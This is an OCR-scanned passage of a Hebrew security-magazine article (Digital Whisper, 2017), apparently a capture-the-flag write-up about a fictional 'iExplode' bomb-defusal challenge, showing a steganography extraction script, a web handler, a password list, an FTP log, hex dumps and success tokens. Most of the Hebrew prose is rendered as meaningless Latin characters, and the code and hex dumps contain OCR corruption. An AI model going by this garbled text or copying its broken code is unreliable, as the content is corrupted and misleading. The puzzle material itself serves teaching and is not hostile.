N2n | doutpuh YAM P Yapnn yYI o' nNn

LZHoYWxsZWonZTIvimSt Yg==|

TANXKI] N2AD O PY2NY DNarwnn NX 1195 nY

TI XN XInw 112N , NYILYV I 2 llJvynnvny OUD'"ApPON nn | !
Nn'"D2A112aA00nN Al O NN ANt 5 DIND UMDY [N1XPI0 1 '1NTVD I|]3]'by'|

nNY"'">2nN NlInNnnnv

')J NCQ']OAl{?TDI nn TA NN | 1 7NDH
www.DigitalWhisper.co.il

98 2017 1 83x T x4 L ¥



https://github.com/RobinDavid/LSB-Steganography/blob/master/LSBSteg.py

Technologic

OD'"IpPpON | 20Nd

from PIL import Image
import sys

STEGO_SIZE = 64

def get_size(bitstr):

Extracts the size of the data from the bitstr

return int(bitstr[: STEGO_SIZE], 2)

def get_data(bitstr, size):

Return the data for the image

bytestr = [bitstr[x:x+8] for x in range(STEGO_SIZE, STEGO_SIZE + 8*size, 8)]

bytes = [int(byte, 2) for byte in bytestr]

return ".join(chr(x) for x in bytes)
def get_bits_str(image):

Return all the bits for the image

pixels =image.getdata()

return ".join(str(channel & 1) for pixel in pixels for channel in pixel[::-1])
def do_main(image_path):

Extract the data from the image

image = Image.open(image_path)

bitstr = get_bits str(image)

data_size = get_size(bitstr)

data = get_data(bitstr, data_size)

print "The datais: ", data

def main():
do_main(sys.argv[1])

if _name__=='__main__"
main()
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4 Remote Bomb Control System

Powered by iExplode™ _ All rights reserved

Bomb Remote-Control Menu
Explode Nowl!l

Disarm Bomb
Manual defuse

Bomb Info

:DisarmBomb TI ny21 XnNnOD' D ND1D2N2 ANI X 27015 | 1 ¥ ni

Disarm Bomb
Please enter your admin password below to disarm the bomb

DRBrmwaren NOYA NTYI nfoprThbhnwd mmwni,x S'21n D'LV'IODN

nXXbn
Bomb Information
“ﬁ
Model Number #BMB123%UKFG%22311 C-4 edition
Serial Number 0000000000000000001
Status Armed
Firmware Version iExplode™ 5 4 Beta edition
License None (Evaluation version)
Plastic (standard) Plugin Installed
Anthrax Plugin Not installed
Exira Damage Plugin Not installed
Mass Destruction Plugin Not supported

nT Y 21 pashalfil®@ nomi'pN® N NAFrmwaren 1MmMX ' T N

EXHF UNY1 52 D'1952 Y2l Zip-ll YyAINpPANOWINNOMDO

N RPAK7TOI NN NTANXN |1 1ND
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NTNY>Y D'X2p NIXIYnNn D'%an 17Zmy Xxi1oTmoal

Mame Size Packed Size Mode
: 580 580 582 656 drwscr-r-x

10 0 draer-xr-x

282 834 318 464 dracer-xr-x

627052 634 220 drwar-xr-x

lib32 0 0 Imavacnaona
lost+found 0 0 drwx------
media 0 0 drwar-xr-x
mnt 0 0 draner-xr-x
opt 0 0 drwzr-xr-x
proc 0 0 drwzr-xr-x
root 0 0 drwx------
run 0 0 drwar-xr-x
shin 13592 14336 drwar-xr-x
sy's 0 0 drnwzr-xr-x
tmp 0 0 drnwxrwxrwt
usr 37492 273 3954 688 draner-xr-x
war 6928 %216 draer-xr-x

| ] linusere 11 0 IPwserancrae

, N' DPYXTHION .'!' M| ND , TNXN VY DWEDDPM' MaRNDWI nh X2
:DisarmBomb T1 Ny N NN WwWDH N1 iexpladepyn YNl pmx ' D

def defuse_page(environ, start_response):
try:
if environ["REQUEST_METHOD"] !="POST":
raise ErrorPage("500 Internal Server Error", "")

defuse_data = environ["wsgi.input"].read(100)
defuse_data = parse_qgs(defuse_data)

if Pmgmt.CheckPassword(defuse_data["defusecode"][0]):
start_response(*200 OK", [(*Content-Type", "text/html")])
res="""

<html|>

<head><title>iExplode v1.01</title></head>

<body>

<h1>Bomb defused successfully!</h1>

</body>

</html>"""

return res

start_response("200 OK", [("Content-Type", "text/htmI")])
res ="""
<html>
<head><title>iExplode v1.01</title></head>
<body>
<h1>Incorrect defuse code</h1>
</body>
</html>
return res
except:
raise ErrorPage("500 Internal Server Error", "")

N RPAK7TOI NN NTANXN |1 1ND
www.DigitalWhisper.co.il
101 2017 4 83 I x 4 L ¥




Technologic

N Pythonn Y21 p dmsompyp M1 PY&Q Y unpack nwy

import random
PASS = [
'applebomb’,
'bang8',
‘dinamitel5',
'motherofallbombs’,
'‘explodenag’,
‘explosionkiss',
'rosebomb1’,
'bombshell12’,
'sisterofallbombs’,
'bombinator’,
'bighang888',
‘explodetalk’,
'megaplode’,
'implosion-bomb’,
'c4’,

'big-bang’,
‘explosivepack’,
‘criticexplosive’,
'explosivelawyer’,
‘explosiveanalyst',
‘'mechanicalbomb’,
'plastic’,
‘gnuexplosive’,
‘zipbomb',
'heartexplosion’,
‘sh*tbomb’,
‘ilovec4’,
'plasticaddict’,
'livingexplosion’,
‘plasticcaliber’,
'da-defuser3’,
‘plasticcannon’,
‘explosionmagnet’,
‘cdilluminator,
‘bombhoarder,
‘timer-crusher’,
'dieanotherday’,
‘killmeabomb’,
‘pleasedontkillme2’,
'nuclearbanana’,
‘makemeabomb’,
‘plasticempathic’,
'sugarbombbaby’,
'bombino222',
‘defusemenow!’,
'meloveexplosives3xpl0$!0on',
‘explosionnuts’,
'bombindex’,
'‘Bombinyourear!']

def GetPassword():
try:
ind = int(open('/etc/iexprun’, 'rb').read())
return PASSJind]
except:
print 'Problem reading index from /etc/iexprun’

return None

N N®W0ALK7TO0Ol NN NTANK |1 1TNDH
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Indexn NX MPXNO' DN NN' vl I IbnDypewiexpmy XXMX NND)I
T NRiarmBombn TI NYY D12'1 , NI NNUNd&xd RNODWONJTNRNXKDX
I NXXODN NX Y7011

CMANNL "I WN O QAOMRMINN 11N

Success!

Well Donel

You have successfully finished your 2nd mission.

This is your success token:
cWVmbnRBa3IDRDh4ZEhOMkMwckZka2pZZnJCMjRHRUtRK2ZI SXNMKO0d3ajcvT01y
RXI4ZTd6RHJyZIpGbzNIak9pbG5DWWVaUEpGMHEzOGJicmRvR2c9PQ==

You may now send your token and contact info to the following

You can also collect the last token by completing the final challengel

Take the Next Challenge

N RPAK7TOI NN NTANXN |1 1ND
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You did it againl

Challenge #3

Technolooi

rwrSwn o abwn YW o navTIlQN

The bomb you defused was discovered soon after the airplane landed (seems that
someone posted an anonymous tip to local authorities__ ).

Additionally, we have been able to recruit an agent within the terrorist cell.

We are unable to maintain constant contact with him as the agent is deep undercover.

However, he did manage to post a

Thanks, and good luckl,

M.

NYY NI 2AYVN 2w nn'ACAMY NI5p DN ID'MBSEHYERSRY D] 1A D D

to our secure servers. We require your
skills once again in order to follow the communication trail and reveal the message.

T NXDICMARY N YV T NSSE) 0 A X DI

JI R

TWND

D' FTEYIN I PMNARY>VUN, NDI O

nira 1 ICRIP il O PIBYNXN NDIDOAN 22 HV

Ba Bc 29 78 32 BB B8 Bc 29 99 75 ca 85 @8 45 a8 R 1 T T T
@@ 54 ff 2b 48 88 48 B1L 29 1d cP a8 cB 86 cB ald CToHEL @ Y
C3 58 B8 8B B3 38 Bd c2 @8 81l 2f ac e9 58 B0 BB P Y T
a8 88 21 2e BT &0 B0 BB 66 868 2T 63 68 Bl Bc BC wolviees o fchall
65 Be B7 B5 33 2f 78 6b &5 79 2f B3 BB Bl Bc BC enge3/pk ey/chall
65 Be B7 B5 33 2f 78 Bb &5 79 2f B3 B8 Bl Bc BC enge3/pk ey/chall
65 Be £n
@B 8c 29 99 75 ca @8 Bc 29 78 Se 8@ 83 a8 45 aé sodeta.. Jp....El
88 54 al 4b BB BB 48 A1 c6 fd cB a8 c8 88 cP ad LTl s
c8 86 88 88 B4 bf Bd c3 88 81 2f ac 9 58 BB BB ........ .. FouXo.
88 B8 af 31 of 00 B B8 68 B8 73 B5 63 72 65 74 vealiuae e secret
28 28 26 28 28 28 28 28 28 28 73 65 B3 72 65 74 secret
28 28 26 28 28 28 28 28 28 28 73 65 B3 72 65 74 secret
28 28
Ba Bc 29 99 75 ca B8 Bc 29 78 Se @8 85 a8 45 Ba eedale.. Jp....E.
82 54 31 4c @2 BB 48 Bl ch fc c® a8 c8 BB c@ aB Tl sflle wnvennns
C3 B85 88 BB 14 6c Bd c4 88 81 2f ac =9 58 BB 6O PP D S
B8 88 ba 34 af o8 BB BB 66 68 2f B3 BB Bl BC BC e L Jechall
65 Be B7 B5 33 2f 61 62 B3 B4 2f B3 BB Bl BC BC enge3/ab cd/chall
65 Be B7 B5 33 2f 61 62 B3 B4 2f B3 BB Bl BC BC enge3/ab cd/chall
65 Be en

N RPAK7TOI NN NTANXN |1 1ND

104

www.DigitalWhisper.co.il

2017 1 83x T x4 L ¥



Technologic r

O'"RJOT T 'YW XD 125 11Nn1w D!
701NN SW NLITO' PN
| I N RSAMND DN

OpPpl1'5212 AN2AN NTIPOHN NITYIL '0OIDN NNOHN

¢ -out p

smp$

ND Nlwvy IGMRNY NINNT | Becretn DN 1N N N5 nEassphras WO D1 1 wN' 2
1 pPpTXWYW AN I I1wn

NY11aAvVNn Yy YD2nNno Wireshark’ Xxan'nl >nino5n T

USER userl

331 Please specify the password.

PASS 1234

238 Login successful.

SYST

215 UNIX Type: L8

WD files

258 Directory successfully changed.

TYPE T

288 Switching to Binary mode.

PORT 192,168,288@,134,183,98

288 PORT command successful. Consider using PASV.
RETR 2

158 Opening BINARY mode data connection for 2 (18169 bytes).
226 Transfer complete.

QUIT

221 Goodbye.

N2 Y2l pwireshatkn? 21 ;M1 X yWwmMcdwDHnmaal yalp N9 121l

0000h:| 50 4B 03 04 14 00 O& Q0 O3 00 QO 00 Z1 00 CB A3 | PK.......... 1 EL
00l0h: CD 34 76 01 00 OO0 04 05 00 00 13 00 DD 01 5B 43 Iaw......... ¥.[C
0020h: 6F 6E 74 65 6E 74 5F 54 79 70 €5 73 5D ZE 78 6D | ontent Types] .xm
0030h: 6C 20 AZ D9 01 28 AOD OO0 02 00 OO0 00 00 00 00 00 | 1 @U.( +vevuenns
0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ @ ......ccnvuuannnn
0050h: 00 QC Q0 0OC QO OO0 OC Q0 00 Q0 Q0 00 Q0 00 00 00 || wovvevnnranannns
0060h: 00 OC QO OC Q0 QO 00O Q0 OO0 Q0 Q0 00 Q0 00 00 00 | ......ecvecannns
0070h: 00 OO OO OC Q0 OO0 OO0 Q0 OO0 00 Q0 00 00 00 00 00 | .....cvueveinnnnn
0080h: 00 00 00 00 00 OO0 OO0 OO0 OO0 00 00 00 00 00 00 00 | ...ucvwcvocannns
Q00S0h: 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....eccnnnnnnnnn
Q00AOh: 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 @ ......cnvinnnnnn
00BOh: 00 QC QO 0OC Q0 QO Q0 Q0 00 Q0 Q0 00 00 00 00 00 | .....cvuevennnnns
00COh: 00 OQOC QO 00 Q0 OO 00 Q0 OO0 Q0 Q0 00 00 00 00 00 | .....c.ecvecnnnns
Q0ODOh: 00 OO OO0 00 Q0 OO0 Q0 Q0 OO0 00 Q0 00 00 00 00 00 | .....cveeveinnnnn
QO0OEQh: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ .....ccvvennannn
QO0FOh: 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....econvunnnnnn
0100h: 00 QOC OO0 OC QO OO OC QO OO0 OO0 QO 00 Q0 00 00 00 || eovnennsvanannns
01l10h: OO QC QO 0OC QO OO0 Q0 Q0 00 Q0 Q0 00 Q0 00 00 00 | .....cveevennnnns
0120h: 00 OC QO 0OC Q0 OO 00O Q0 OO0 Q0 Q0 00 Q0 00 00 00 | .....c.ecvecannns
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A B

1 |item |price

2 |Milk 12723
3 |Bread 6027
4 Honey 38793
5 |Butter 3909
6 Eggs 18239
7 | Tomatoes 36670
8 |lce cream 19190
9 |Broccoli 6576
10 |Asparagus 27775
11 [Yogurt 8840
12 |Apples 865
13 Cheese 12605
14 |Pita Bread 30937
15 |Sugar 10877
16 |Flour 38804
17 |Cookies 30223

To‘(pn-tnnnnlmp]cbyn D' Y"50nNnAn!TVYO I XI RW ntr ' N Drax*' ' n
T0NnY WUBFPA DI Y o0onn DD mafa)Irerac nm e INTTIE PNt D
aOnNX | 1> wonb li>2vnn . W

TWN DIXY LDPOL Yabedp nMDIAMMANIJUNMNAY 11 TAI AW 117127
NIE'NIEXD 22 NX PLTA%1  , NIANOIYAN pAY NIX' NA'PP' 1NN DD IO
Exceln NnY>a2va D'ni pr'na

NnNT l2'"wYy | narya U
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NinNnit'0D | 2Windowsa MXTBI pr XN, Y2l PpAMX M" TP Imm @DXNI '2
Ninit ' o D' NpAlmfseroipChmner 11 1 DXNX NI PYDONO WM T NIMIT ING D (
DI 2230 DD NN 1195NNUnx ¥ DDbNnNpPOa |

TANND NXNI XNbD ' oI DI 291 Nn NXni\y

Success!

Well Donel

You have successfully finished all the challengesl

This is your final success token:
eXJSQkYTU2INNmJYRWS80Tjc3czVpWmQxNO0s0dmNGYnRjUjBTUXNTazJXMy8zZjUx
SEOwWU0ZzaGcrMzE3UEkOazRHVXNtbDVDVDdiOXRWbnJBSHJ4amc9PQ==

please send your token and contact info to the following

A pleasure as always! Until next time. ..
M.
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ReverseEngineeringWeb Applicaton : 7" ' n | ''2 , D' 22 D'MNI NN VT' W)
ANIY 1IN TE | N2 112PNYY M '0ISecriyStegamyrgphy 7215 n
D' YNNYNnnpanImll X2 T2y AN

N'NY D'10p DO'P'I0 | InNNn 12 1*N ,IANI*2 Q2ANNKNAN N
NN'wl |n D'¥Ynhvynn NX X'XI N2 "2 12 170N , XNNa
YNNWNONreb'wen N | rDhkm H DReVergeEngineering N1 WYY N1 2N , ) Nl

B e I lwvnnwn® nNi1annnY tnan NN

VD' I1pOY DIITVI'"X2 VYIOD'N A'N 2A%VWYn 21" TI XN 7nnNn DO
N' X | jUbcomylfemd Wi TZpwni1t vyl D' X2pn NdDXIyn NN'MN5 [ >n 1N

NavnNn TI XN nNaYn '521 TIR@& wxap p rdren Tpon ot

Xpl 1T IXbWw ni'yva Dy TTIANNY 31 X¥Xn XIn 12 112
' Excaln Yyl pa wi.Wiresharkn 9 PIRSA? NNNON ND1d2n I nd( NTANKS

DO' 110 ITND Yraanl "*NnT7 NiwmnNn"n )N DIAD D | N DION Nip
I'91 2 MTAnNN2 | ' '

N'N' NN NINXIY D'l 1 pPpnl NI2AYY N1YW S5¥ TAnNNNIN 210 0
NTANKND NX NI NODY 11'1N1 11IXY '"D) NNRID NNWDNITNRXI

J NTN 150N Nrad>%0 2N N

Thank you for playing

It was a pleasure._.
See you again next time ;)

NINNNN NNn'van D'Ynnhvnn NIDMY 0D 1P
| 1TAINDY 3TN 22 JAIXRY nary Oy
DD'19%VY | 1IN5N NAY ROPDOIPNI NNI N7
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